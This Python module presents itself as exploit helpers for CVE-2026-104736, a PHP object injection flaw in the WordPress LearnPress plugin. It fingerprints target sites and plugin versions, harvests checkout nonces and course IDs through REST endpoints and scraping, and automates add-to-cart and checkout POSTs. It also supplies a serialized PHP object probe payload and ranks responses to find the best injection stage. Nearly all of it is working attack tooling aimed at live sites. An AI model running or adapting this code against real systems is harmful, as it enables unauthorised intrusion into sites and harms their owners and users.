"""CVE-2026-104736 — LearnPress fingerprint and PHP object injection helpers."""

from __future__ import annotations

import json
import re
from typing import Any, Callable
from urllib.parse import urljoin

import requests

CVE_ID = "CVE-2026-104736"
PLUGIN_SLUG = "learnpress"
FIX_VERSION = (4, 4, 11)
LP_AJAX_CHECKOUT = "checkout"


def normalize_site(url: str) -> str:
    u = (url or "").strip().rstrip("/")
    if not re.match(r"^https?://", u, re.I):
        u = "https://" + u
    return u


def parse_version(text: str | None) -> tuple[int, int, int] | None:
    if not text:
        return None
    m = re.search(
        r"(?:Stable tag|Version)\s*:\s*(\d+)\.(\d+)\.(\d+)",
        text,
        re.I,
    )
    if not m:
        m = re.search(r"\b(\d+)\.(\d+)\.(\d+)\b", text)
    if not m:
        return None
    return int(m.group(1)), int(m.group(2)), int(m.group(3))


def is_vulnerable_version(ver: tuple[int, int, int] | None) -> bool | None:
    if ver is None:
        return None
    return ver < FIX_VERSION


def looks_like_wordpress(html: str) -> bool:
    low = (html or "").lower()
    return any(
        x in low
        for x in (
            "wp-content/",
            "wp-includes/",
            "/wp-json/",
            "wp-emoji-release.min.js",
        )
    )


def detect_learnpress(html: str) -> bool:
    if not html:
        return False
    return bool(
        re.search(
            r"wp-content/plugins/learnpress/|learn-press|learnpress",
            html,
            re.I,
        )
    )


def fetch_plugin_version(session: requests.Session, base: str, timeout: float) -> dict[str, Any]:
    out: dict[str, Any] = {"detected": False, "version_raw": None, "source": None}
    paths = (
        f"/wp-content/plugins/{PLUGIN_SLUG}/readme.txt",
        f"/wp-content/plugins/{PLUGIN_SLUG}/learnpress.php",
    )
    for path in paths:
        try:
            r = session.get(urljoin(base + "/", path.lstrip("/")), timeout=timeout)
        except requests.RequestException:
            continue
        if r.status_code != 200:
            continue
        body = r.text or ""
        if "learnpress" not in body.lower() and path.endswith(".php"):
            continue
        ver = parse_version(body)
        if ver:
            out["detected"] = True
            out["version_raw"] = f"{ver[0]}.{ver[1]}.{ver[2]}"
            out["source"] = path
            out["vulnerable"] = is_vulnerable_version(ver)
            return out
    return out


def fingerprint_site(session: requests.Session, base: str, timeout: float) -> dict[str, Any]:
    base = normalize_site(base)
    row: dict[str, Any] = {
        "target": base,
        "plugin": PLUGIN_SLUG,
        "detected": False,
        "is_wordpress": None,
        "version_raw": None,
        "vulnerable": None,
    }
    try:
        r = session.get(base + "/", timeout=timeout, allow_redirects=True)
        final = r.url.rstrip("/")
        html = r.text or ""
        row["is_wordpress"] = looks_like_wordpress(html)
        if detect_learnpress(html):
            row["detected"] = True
            row["lp_html_hint"] = True
    except requests.RequestException as e:
        row["error"] = str(e)
        return row

    meta = fetch_plugin_version(session, final, timeout)
    if meta.get("detected"):
        row.update(meta)
    elif row.get("lp_html_hint"):
        row["detected"] = True
        row["note"] = "LearnPress assets on homepage; version file not exposed"
    return row


def find_checkout_nonce(html: str) -> str | None:
    if not html:
        return None
    patterns = (
        r'name="learn-press-checkout-nonce"\s+value="([^"]+)"',
        r'"learn-press-checkout-nonce"\s*:\s*"([^"]+)"',
        r"learn-press-checkout-nonce['\"]?\s*,\s*['\"]([^'\"]+)",
    )
    for pat in patterns:
        m = re.search(pat, html, re.I)
        if m:
            return m.group(1)
    return None


def find_checkout_url(html: str, base: str) -> str:
    m = re.search(r'href="([^"]*checkout[^"]*)"', html or "", re.I)
    if m:
        return urljoin(base + "/", m.group(1))
    for path in ("/checkout/", "/lp-checkout/", "/checkout"):
        return urljoin(base + "/", path.lstrip("/"))
    return base + "/"


def find_courses_list_url(html: str, base: str) -> str:
    best: str | None = None
    for m in re.finditer(r'href="([^"]+)"', html or "", re.I):
        href = m.group(1)
        low = href.lower()
        if "checkout" in low or "cart" in low:
            continue
        if re.search(r"/(courses|cursos|lp-courses)/?$", low):
            best = href
            break
        if re.search(r"/(courses|cursos)/page/\d+", low):
            best = href
    if best:
        return urljoin(base + "/", best.lstrip("/"))
    for path in ("courses/", "cursos/", "lp-courses/"):
        return urljoin(base + "/", path)
    return urljoin(base + "/", "courses/")


def merge_course_ids(*groups: list[int], limit: int = 20) -> list[int]:
    out: list[int] = []
    seen: set[int] = set()
    for group in groups:
        for cid in group:
            if cid in seen or cid < 1:
                continue
            seen.add(cid)
            out.append(cid)
            if len(out) >= limit:
                return out
    return out


def parse_course_ids_from_json(data: Any) -> list[int]:
    ids: list[int] = []
    if isinstance(data, list):
        for item in data:
            if isinstance(item, dict) and "id" in item:
                try:
                    ids.append(int(item["id"]))
                except (TypeError, ValueError):
                    continue
    elif isinstance(data, dict):
        if "id" in data:
            try:
                ids.append(int(data["id"]))
            except (TypeError, ValueError):
                pass
        for key in ("courses", "data", "items"):
            if key in data:
                ids.extend(parse_course_ids_from_json(data[key]))
    return ids


def parse_courses_from_json(data: Any) -> list[dict[str, Any]]:
    courses: list[dict[str, Any]] = []
    if not isinstance(data, list):
        return courses
    for item in data:
        if not isinstance(item, dict) or "id" not in item:
            continue
        try:
            cid = int(item["id"])
        except (TypeError, ValueError):
            continue
        link = item.get("link") or item.get("permalink")
        if isinstance(link, dict):
            link = link.get("rendered")
        courses.append({"id": cid, "url": link if isinstance(link, str) else None})
    return courses


def fetch_course_ids_api(
    session: requests.Session,
    base: str,
    timeout: float,
    limit: int = 15,
) -> dict[str, Any]:
    """Discover lp_course IDs via public WordPress / LearnPress REST (no auth)."""
    out: dict[str, Any] = {"ids": [], "courses": [], "source": None}
    endpoints = (
        ("wp-json/wp/v2/lp_course", {"per_page": str(limit), "status": "publish"}),
        ("wp-json/learnpress/v1/courses", {"per_page": str(limit)}),
    )
    headers = {"Accept": "application/json"}
    for path, params in endpoints:
        url = urljoin(base + "/", path)
        try:
            r = session.get(url, params=params, headers=headers, timeout=timeout)
        except requests.RequestException:
            continue
        if r.status_code != 200:
            continue
        text = (r.text or "").strip()
        if not text.startswith(("[", "{")):
            continue
        try:
            data = json.loads(text)
        except json.JSONDecodeError:
            continue
        courses = parse_courses_from_json(data)
        ids = [c["id"] for c in courses]
        if ids:
            out["ids"] = ids[:limit]
            out["courses"] = courses[:limit]
            out["source"] = path
            return out
    return out


def scrape_course_permalink_paths(html: str, limit: int = 10) -> list[str]:
    if not html:
        return []
    paths: list[str] = []
    seen: set[str] = set()
    for m in re.finditer(r'href="([^"]+)"', html, re.I):
        href = m.group(1)
        low = href.lower()
        if not any(x in low for x in ("/courses/", "/cursos/", "/lp_course/", "post_type=lp_course")):
            continue
        if any(x in low for x in ("checkout", "cart", "profile", "account", "login")):
            continue
        if href in seen:
            continue
        seen.add(href)
        paths.append(href)
        if len(paths) >= limit:
            break
    return paths


def scrape_course_id_from_single_page(html: str) -> int | None:
    if not html:
        return None
    patterns = (
        r'postid-(\d+)',
        r'class="[^"]*\bpost-(\d+)\b',
        r'"post_id"\s*:\s*(\d+)',
        r'data-course-id=["\'](\d+)["\']',
        r'"course_id"\s*:\s*(\d+)',
        r'type="hidden"\s+name="course_id"\s+value="(\d+)"',
    )
    for pat in patterns:
        m = re.search(pat, html, re.I)
        if m:
            return int(m.group(1))
    return None


def fetch_course_ids_from_pages(
    session: requests.Session,
    page_urls: list[str],
    timeout: float,
    limit: int = 8,
) -> list[int]:
    ids: list[int] = []
    seen: set[int] = set()
    for raw in page_urls:
        if len(ids) >= limit:
            break
        url = raw if raw.startswith("http") else None
        if not url:
            continue
        try:
            r = session.get(url, timeout=timeout, allow_redirects=True)
        except requests.RequestException:
            continue
        if r.status_code != 200:
            continue
        cid = scrape_course_id_from_single_page(r.text or "")
        if cid and cid not in seen:
            seen.add(cid)
            ids.append(cid)
    return ids


def scrape_course_ids(html: str, limit: int = 8) -> list[int]:
    if not html:
        return []
    seen: set[int] = set()
    ids: list[int] = []
    patterns = (
        r'data-course-id=["\'](\d+)["\']',
        r'data-id=["\'](\d+)["\']',
        r'course_id=(\d+)',
        r'course_id["\']\s*:\s*(\d+)',
        r'postid-(\d+)',
        r'\bpost-(\d+)\b.*lp_course',
        r'"id"\s*:\s*(\d+)\s*,\s*"type"\s*:\s*"lp_course"',
        r'"type"\s*:\s*"lp_course"\s*,\s*"id"\s*:\s*(\d+)',
        r'add-to-cart[^>]+data-id=["\'](\d+)["\']',
    )
    for pat in patterns:
        for m in re.finditer(pat, html, re.I | re.S):
            cid = int(m.group(1))
            if cid in seen or cid < 1:
                continue
            seen.add(cid)
            ids.append(cid)
            if len(ids) >= limit:
                return ids
    return ids


def discover_course_ids(
    session: requests.Session,
    base: str,
    timeout: float,
    html_chunks: list[str],
    permalink_paths: list[str] | None = None,
    limit: int = 20,
) -> dict[str, Any]:
    """REST API first, then HTML scrape, then single course page fetches."""
    meta: dict[str, Any] = {"ids": [], "sources": []}
    api = fetch_course_ids_api(session, base, timeout, limit=limit)
    html_ids: list[int] = []
    for chunk in html_chunks:
        html_ids.extend(scrape_course_ids(chunk, limit=limit))

    page_urls: list[str] = []
    for chunk in html_chunks:
        for p in scrape_course_permalink_paths(chunk, limit=6):
            page_urls.append(urljoin(base + "/", p.lstrip("/")) if not p.startswith("http") else p)
    if permalink_paths:
        for p in permalink_paths:
            page_urls.append(urljoin(base + "/", p.lstrip("/")) if not p.startswith("http") else p)

    page_ids = fetch_course_ids_from_pages(session, page_urls, timeout, limit=8)

    ids = merge_course_ids(api.get("ids") or [], html_ids, page_ids, limit=limit)
    meta["ids"] = ids
    meta["courses"] = api.get("courses") or []
    if api.get("source"):
        meta["sources"].append(api["source"])
    if html_ids:
        meta["sources"].append("html_scrape")
    if page_ids:
        meta["sources"].append("course_pages")
    meta["api_count"] = len(api.get("ids") or [])
    return meta


def build_add_to_cart_posts(course_id: int, *, extended: bool = False) -> list[dict[str, str]]:
    cid = str(course_id)
    primary = [
        {"lp-ajax": "add-to-cart", "course_id": cid},
        {"lp-ajax": "purchase-course", "course_id": cid},
    ]
    if not extended:
        return primary
    return primary + [
        {"lp-ajax": "add-to-cart", "id": cid},
        {"lp-ajax": "purchase-course", "id": cid},
        {"lp-ajax": "add-course-to-cart", "course_id": cid},
        {"lp-ajax": "add-item-to-cart", "item_id": cid},
    ]


def add_course_to_cart(
    session: requests.Session,
    post_url: str,
    course_id: int,
    timeout: float,
    *,
    extended_variants: bool = False,
    on_post: Callable[[int, str, dict[str, str], int, int], None] | None = None,
) -> dict[str, Any]:
    last: dict[str, Any] = {"ok": False, "course_id": course_id}
    variants = build_add_to_cart_posts(course_id, extended=extended_variants)
    total = len(variants)
    for idx, data in enumerate(variants, start=1):
        if on_post:
            on_post(course_id, post_url, data, idx, total)
        stage = post_lp_ajax(session, post_url, data, timeout)
        last = {**stage, "course_id": course_id, "lp_ajax": data["lp-ajax"]}
        if not stage.get("ok"):
            continue
        j = extract_lp_json(stage.get("body_preview") or "")
        if j and j.get("result") == "success":
            last["cart_ok"] = True
            last["cart_json"] = j
            return last
        if stage.get("has_lp_ajax_markers") and stage.get("status") == 200:
            body = (stage.get("body_preview") or "").lower()
            if "success" in body and "fail" not in body:
                last["cart_ok"] = True
                return last
    last.setdefault("cart_ok", False)
    return last


def try_fill_cart(
    session: requests.Session,
    post_urls: list[str],
    course_ids: list[int],
    timeout: float,
    max_course_tries: int = 2,
    max_urls_per_course: int = 2,
    max_http_posts: int = 10,
    extended_variants: bool = False,
    course_urls: dict[int, str] | None = None,
    on_try: Callable[[int, str, dict[str, str], int, int], None] | None = None,
) -> dict[str, Any]:
    """Try add-to-cart with a hard cap on HTTP POST count (fast default)."""
    tried: list[dict[str, Any]] = []
    if not course_ids:
        return {"cart_ok": False, "reason": "no_course_ids", "tried": tried}

    home = post_urls[0] if post_urls else "/"
    course_urls = course_urls or {}
    http_posts = 0
    no_marker_streak = 0

    for cid in course_ids[:max_course_tries]:
        urls_for_course: list[str] = []
        if cid in course_urls and course_urls[cid]:
            urls_for_course.append(course_urls[cid])
        if home not in urls_for_course:
            urls_for_course.append(home)
        urls_for_course = urls_for_course[:max_urls_per_course]

        for post_url in urls_for_course:
            if http_posts >= max_http_posts:
                return {
                    "cart_ok": False,
                    "reason": "cart_post_limit",
                    "course_ids_tried": course_ids[:max_course_tries],
                    "http_posts": http_posts,
                    "tried": tried,
                }

            def _on_post(
                c: int,
                url: str,
                data: dict[str, str],
                step: int,
                total: int,
            ) -> None:
                nonlocal http_posts
                http_posts += 1
                if on_try:
                    on_try(c, url, data, step, total)

            res = add_course_to_cart(
                session,
                post_url,
                cid,
                timeout,
                extended_variants=extended_variants,
                on_post=_on_post,
            )
            tried.append(
                {
                    "course_id": cid,
                    "post_url": post_url,
                    "cart_ok": res.get("cart_ok"),
                    "lp_ajax": res.get("lp_ajax"),
                }
            )
            if res.get("cart_ok"):
                res["tried"] = tried
                res["http_posts"] = http_posts
                return res

            if res.get("ok") and not res.get("has_lp_ajax_markers"):
                no_marker_streak += 1
            else:
                no_marker_streak = 0
            if no_marker_streak >= 4:
                return {
                    "cart_ok": False,
                    "reason": "cart_ajax_inconclusive",
                    "course_ids_tried": course_ids[:max_course_tries],
                    "http_posts": http_posts,
                    "tried": tried,
                }

    return {
        "cart_ok": False,
        "course_ids_tried": course_ids[:max_course_tries],
        "http_posts": http_posts,
        "tried": tried,
    }


def discover_checkout_context(
    session: requests.Session,
    base: str,
    timeout: float,
) -> dict[str, Any]:
    """Fetch home + checkout (+ courses) and collect URLs, nonces, course IDs."""
    base = normalize_site(base)
    ctx: dict[str, Any] = {
        "base": base,
        "checkout_url": base + "/",
        "post_urls": [base + "/"],
        "nonce": None,
        "course_ids": [],
        "pages_fetched": [],
    }
    html_chunks: list[str] = []
    try:
        home = session.get(base + "/", timeout=timeout, allow_redirects=True)
        html_chunks.append(home.text or "")
        site = home.url.rstrip("/")
        ctx["checkout_url"] = find_checkout_url(home.text or "", site)
        courses_url = find_courses_list_url(home.text or "", site)
        ctx["pages_fetched"].append(home.url)
    except requests.RequestException as e:
        ctx["error"] = str(e)
        return ctx

    urls_to_try = [ctx["checkout_url"], courses_url]
    seen_u: set[str] = set()
    for url in urls_to_try:
        if url in seen_u:
            continue
        seen_u.add(url)
        try:
            r = session.get(url, timeout=timeout, allow_redirects=True)
        except requests.RequestException:
            continue
        ctx["pages_fetched"].append(r.url)
        html_chunks.append(r.text or "")
        if not ctx.get("nonce"):
            ctx["nonce"] = find_checkout_nonce(r.text or "")
        if r.url not in ctx["post_urls"]:
            ctx["post_urls"].append(r.url.rstrip("/") + "/")

    disc = discover_course_ids(session, site, timeout, html_chunks, limit=20)
    ctx["course_ids"] = disc.get("ids") or []
    ctx["course_id_sources"] = disc.get("sources") or []
    ctx["course_discovery"] = disc
    url_map: dict[int, str] = {}
    for c in disc.get("courses") or []:
        if c.get("id") and c.get("url"):
            url_map[int(c["id"])] = c["url"]
    ctx["course_urls"] = url_map
    if ctx["checkout_url"] not in ctx["post_urls"]:
        ctx["post_urls"].append(ctx["checkout_url"])
    return ctx


def summarize_lp_messages(stage_json: dict[str, Any] | None) -> str | None:
    if not stage_json:
        return None
    msgs = stage_json.get("messages")
    if not isinstance(msgs, list):
        return None
    parts: list[str] = []
    for item in msgs:
        if isinstance(item, list) and item:
            parts.append(str(item[0]))
        elif isinstance(item, str):
            parts.append(item)
    return "; ".join(parts) if parts else None


def classify_checkout_stage(stage_json: dict[str, Any] | None, body: str) -> str:
    if stage_json:
        result = stage_json.get("result")
        msg = (summarize_lp_messages(stage_json) or "").lower()
        if result == "success":
            return "checkout_success"
        if "vac" in msg or "empty" in msg or "vacío" in msg or "sepet" in msg:
            return "cart_empty"
        if result == "fail":
            return "checkout_fail"
    low = (body or "").lower()
    if "empty" in low and "cart" in low:
        return "cart_empty"
    return "checkout_unknown"


def default_probe_payload() -> str:
    """Harmless serialized object for injection smoke tests (not a gadget chain)."""
    return 'O:8:"stdClass":1:{s:4:"test";s:3:"pwn";}'


def build_checkout_post(
    checkout_email: str,
    nonce: str | None = None,
    extra: dict[str, str] | None = None,
) -> dict[str, str]:
    data: dict[str, str] = {
        "lp-ajax": LP_AJAX_CHECKOUT,
        "checkout-email": checkout_email,
    }
    if nonce:
        data["learn-press-checkout-nonce"] = nonce
    if extra:
        data.update(extra)
    return data


def post_lp_ajax(
    session: requests.Session,
    url: str,
    data: dict[str, str],
    timeout: float,
) -> dict[str, Any]:
    try:
        r = session.post(url, data=data, timeout=timeout, allow_redirects=True)
    except requests.RequestException as e:
        return {"ok": False, "error": str(e), "url": url}
    text = r.text or ""
    return {
        "ok": True,
        "url": url,
        "status": r.status_code,
        "length": len(text),
        "body_preview": text[:1200],
        "has_lp_ajax_markers": "<-- LP_AJAX_START -->" in text or "{END_AJAX}" in text,
    }


def extract_lp_json(body: str) -> dict[str, Any] | None:
    m = re.search(r"<-- LP_AJAX_START -->(.+?)<-- LP_AJAX_END -->", body, re.S)
    if not m:
        return None
    try:
        return json.loads(m.group(1).strip())
    except json.JSONDecodeError:
        return None


def pick_best_inject_stage(stages: list[dict[str, Any]]) -> dict[str, Any] | None:
    if not stages:
        return None
    rank = {
        "checkout_success": 0,
        "checkout_unknown": 1,
        "checkout_fail": 2,
        "cart_empty": 3,
    }

    def score(st: dict[str, Any]) -> tuple[int, int]:
        cls = st.get("checkout_class", "checkout_unknown")
        return (rank.get(cls, 9), -len(st.get("body_preview") or ""))

    ok_stages = [s for s in stages if s.get("ok")]
    if not ok_stages:
        return stages[-1]
    return min(ok_stages, key=score)
